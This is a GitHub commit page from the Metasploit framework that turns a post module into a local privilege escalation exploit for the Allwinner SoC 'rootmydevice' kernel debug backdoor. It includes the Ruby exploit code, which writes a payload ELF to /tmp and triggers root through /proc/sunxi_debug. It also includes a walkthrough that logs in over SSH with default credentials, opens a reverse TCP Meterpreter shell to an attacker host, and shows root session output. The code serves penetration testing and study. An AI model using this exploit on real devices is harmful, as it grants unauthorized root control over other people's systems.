Skip to content

Commit cba2976

Browse files
committed
post to local conversion
1 parent d2100bf commit cba2976

File tree

3 files changed

+106
-110
lines changed

3 files changed

+106
-110
lines changed
Lines changed: 71 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
Vulnerable Allwinner SoC chips: H3, A83T or H8 which rely on Kernel 3.4
2+
Vulnerable OS: all OS images available for Orange Pis,
3+
any for FriendlyARM's NanoPi M1,
4+
SinoVoip's M2+ and M3,
5+
Cuebietech's Cubietruck +
6+
Linksprite's pcDuino8 Uno
7+
Exploitation may be possible against Dragon (x10) and Allwinner Android tablets
8+
9+
This module attempts to exploit a debug backdoor privilege escalation in Allwinner SoC based devices. Implements the Allwinner privilege escalation as documented in [Metasploit issue #6869](https://github.com/rapid7/metasploit-framework/issues/6869). It is a simple debug kernel module that, when "rootmydevice" is echoed to the process, it escalates the shell to root.
10+
11+
## Usage
12+
13+
To use this module, you need a vulnerable device. An Orange Pi (PC model) running Lubuntu 14.04 v0.8.0 works, but other OSes for the device (as well as other devices) are also vulnerable.
14+
15+
- `use auxiliary/scanner/ssh/ssh_login`
16+
17+
```
18+
msf auxiliary(ssh_login) > set username orangepi
19+
username => orangepi
20+
msf auxiliary(ssh_login) > set password orangepi
21+
password => orangepi
22+
msf auxiliary(ssh_login) > set rhosts 192.168.2.21
23+
rhosts => 192.168.2.21
24+
msf auxiliary(ssh_login) > exploit
25+
26+
[*] 192.168.2.21:22 SSH - Starting bruteforce
27+
[+] 192.168.2.21:22 SSH - Success: 'orangepi:orangepi' 'uid=1001(orangepi) gid=1001(orangepi) groups=1001(orangepi),27(sudo),29(audio) Linux orangepi 3.4.39 #41 SMP PREEMPT Sun Jun 21 13:09:26 HKT 2015 armv7l armv7l armv7l GNU/Linux '
28+
[!] No active DB -- Credential data will not be saved!
29+
[*] Command shell session 1 opened (192.168.2.229:33673 -> 192.168.2.21:22) at 2016-05-17 21:55:27 -0400
30+
[*] Scanned 1 of 1 hosts (100% complete)
31+
[*] Auxiliary module execution completed
32+
```
33+
34+
- `use exploit/multi/local/allwinner_backdoor`
35+
36+
```
37+
msf exploit(allwinner_backdoor) > set verbose true
38+
verbose => true
39+
msf exploit(allwinner_backdoor) > set session 1
40+
session => 1
41+
msf exploit(allwinner_backdoor) > set payload linux/armle/mettle/reverse_tcp
42+
payload => linux/armle/mettle/reverse_tcp
43+
msf exploit(allwinner_backdoor) > set lhost 192.168.2.117
44+
lhost => 192.168.2.117
45+
msf exploit(allwinner_backdoor) > check
46+
[*] The target appears to be vulnerable.
47+
msf exploit(allwinner_backdoor) > exploit
48+
```
49+
50+
## Successful exploitation:
51+
52+
```
53+
[*] Started reverse TCP handler on 192.168.2.117:4444
54+
[*] Transmitting intermediate stager...(136 bytes)
55+
[*] Sending stage (374540 bytes) to 192.168.2.248
56+
[+] Backdoor Found, writing payload to /tmp/odzVx.elf
57+
[*] Max line length is 65537
58+
[*] Writing 284 bytes in 1 chunks of 843 bytes (octal-encoded), using printf
59+
[+] Escalating
60+
[*] Transmitting intermediate stager...(136 bytes)
61+
[*] Sending stage (374540 bytes) to 192.168.2.248
62+
[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.248:49472) at 2016-09-22 21:56:50 -0400
63+
64+
meterpreter > getuid
65+
Server username: uid=0, gid=0, euid=0, egid=0
66+
meterpreter > sysinfo
67+
Computer : 192.168.2.248
68+
OS : Ubuntu 14.04 (Linux 3.4.39)
69+
Architecture : armv7l
70+
Meterpreter : armle/linux
71+
```

documentation/modules/post/multi/escalate/allwinner_backdoor.md

Lines changed: 0 additions & 93 deletions
This file was deleted.

modules/post/multi/escalate/allwinner_backdoor.rb renamed to modules/exploits/multi/local/allwinner_backdoor.rb

Lines changed: 35 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -5,9 +5,12 @@
55

66
require "msf/core"
77

8-
class MetasploitModule < Msf::Post
8+
class MetasploitModule < Msf::Exploit::Local
9+
Rank = ExcellentRanking
10+
911
include Msf::Post::File
1012
include Msf::Post::Linux::Priv
13+
include Msf::Exploit::EXE
1114

1215
def initialize(info = {})
1316
super(update_info(info,
@@ -31,33 +34,48 @@ def initialize(info = {})
3134
],
3235
"Platform" => [ "android", "linux" ],
3336
"DisclosureDate" => "Apr 30 2016",
37+
"DefaultOptions" => {
38+
"payload" => "linux/armle/mettle/reverse_tcp"
39+
},
40+
"Privileged" => true,
41+
"Arch" => ARCH_ARMLE,
3442
"References" =>
3543
[
3644
[ "URL", "http://forum.armbian.com/index.php/topic/1108-security-alert-for-allwinner-sun8i-h3a83th8/"],
3745
[ "URL", "https://webcache.googleusercontent.com/search?q=cache:l2QYVUcDflkJ:" \
3846
"https://github.com/allwinner-zh/linux-3.4-sunxi/blob/master/arch/arm/mach-sunxi/sunxi-debug.c+&cd=3&hl=en&ct=clnk&gl=us"],
3947
[ "URL", "http://irclog.whitequark.org/linux-sunxi/2016-04-29#16314390"]
4048
],
41-
"SessionTypes" => [ "shell", "meterpreter" ]
49+
"SessionTypes" => [ "shell", "meterpreter" ],
50+
'Targets' =>
51+
[
52+
[ 'Auto', { } ]
53+
],
54+
'DefaultTarget' => 0,
4255
))
4356
end
4457

45-
def run
46-
backdoor = "/proc/sunxi_debug/sunxi_debug"
58+
def check
59+
backdoor = '/proc/sunxi_debug/sunxi_debug'
4760
if file_exist?(backdoor)
48-
vprint_good "Backdoor found, exploiting."
49-
cmd_exec("echo rootmydevice > #{backdoor}")
50-
if is_root?
51-
print_good "Privilege Escalation Successful"
52-
report_vuln(
53-
host: session.session_host,
54-
name: self.name,
55-
refs: self.references,
56-
info: 'Escalated to root shell via Allwinner backdoor'
57-
)
58-
else
59-
print_error "Privilege Escalation FAILED"
60-
end
61+
Exploit::CheckCode::Appears
62+
else
63+
Exploit::CheckCode::Safe
64+
end
65+
end
66+
67+
def exploit
68+
backdoor = '/proc/sunxi_debug/sunxi_debug'
69+
if file_exist?(backdoor)
70+
pl = generate_payload_exe
71+
72+
exe_file = "/tmp/#{rand_text_alpha(5)}.elf"
73+
vprint_good "Backdoor Found, writing payload to #{exe_file}"
74+
write_file(exe_file, pl)
75+
cmd_exec("chmod +x #{exe_file}")
76+
77+
vprint_good 'Escalating'
78+
cmd_exec("echo rootmydevice > #{backdoor}; #{exe_file}")
6179
else
6280
print_error "Backdoor #{backdoor} not found."
6381
end

0 commit comments

Comments
 (0)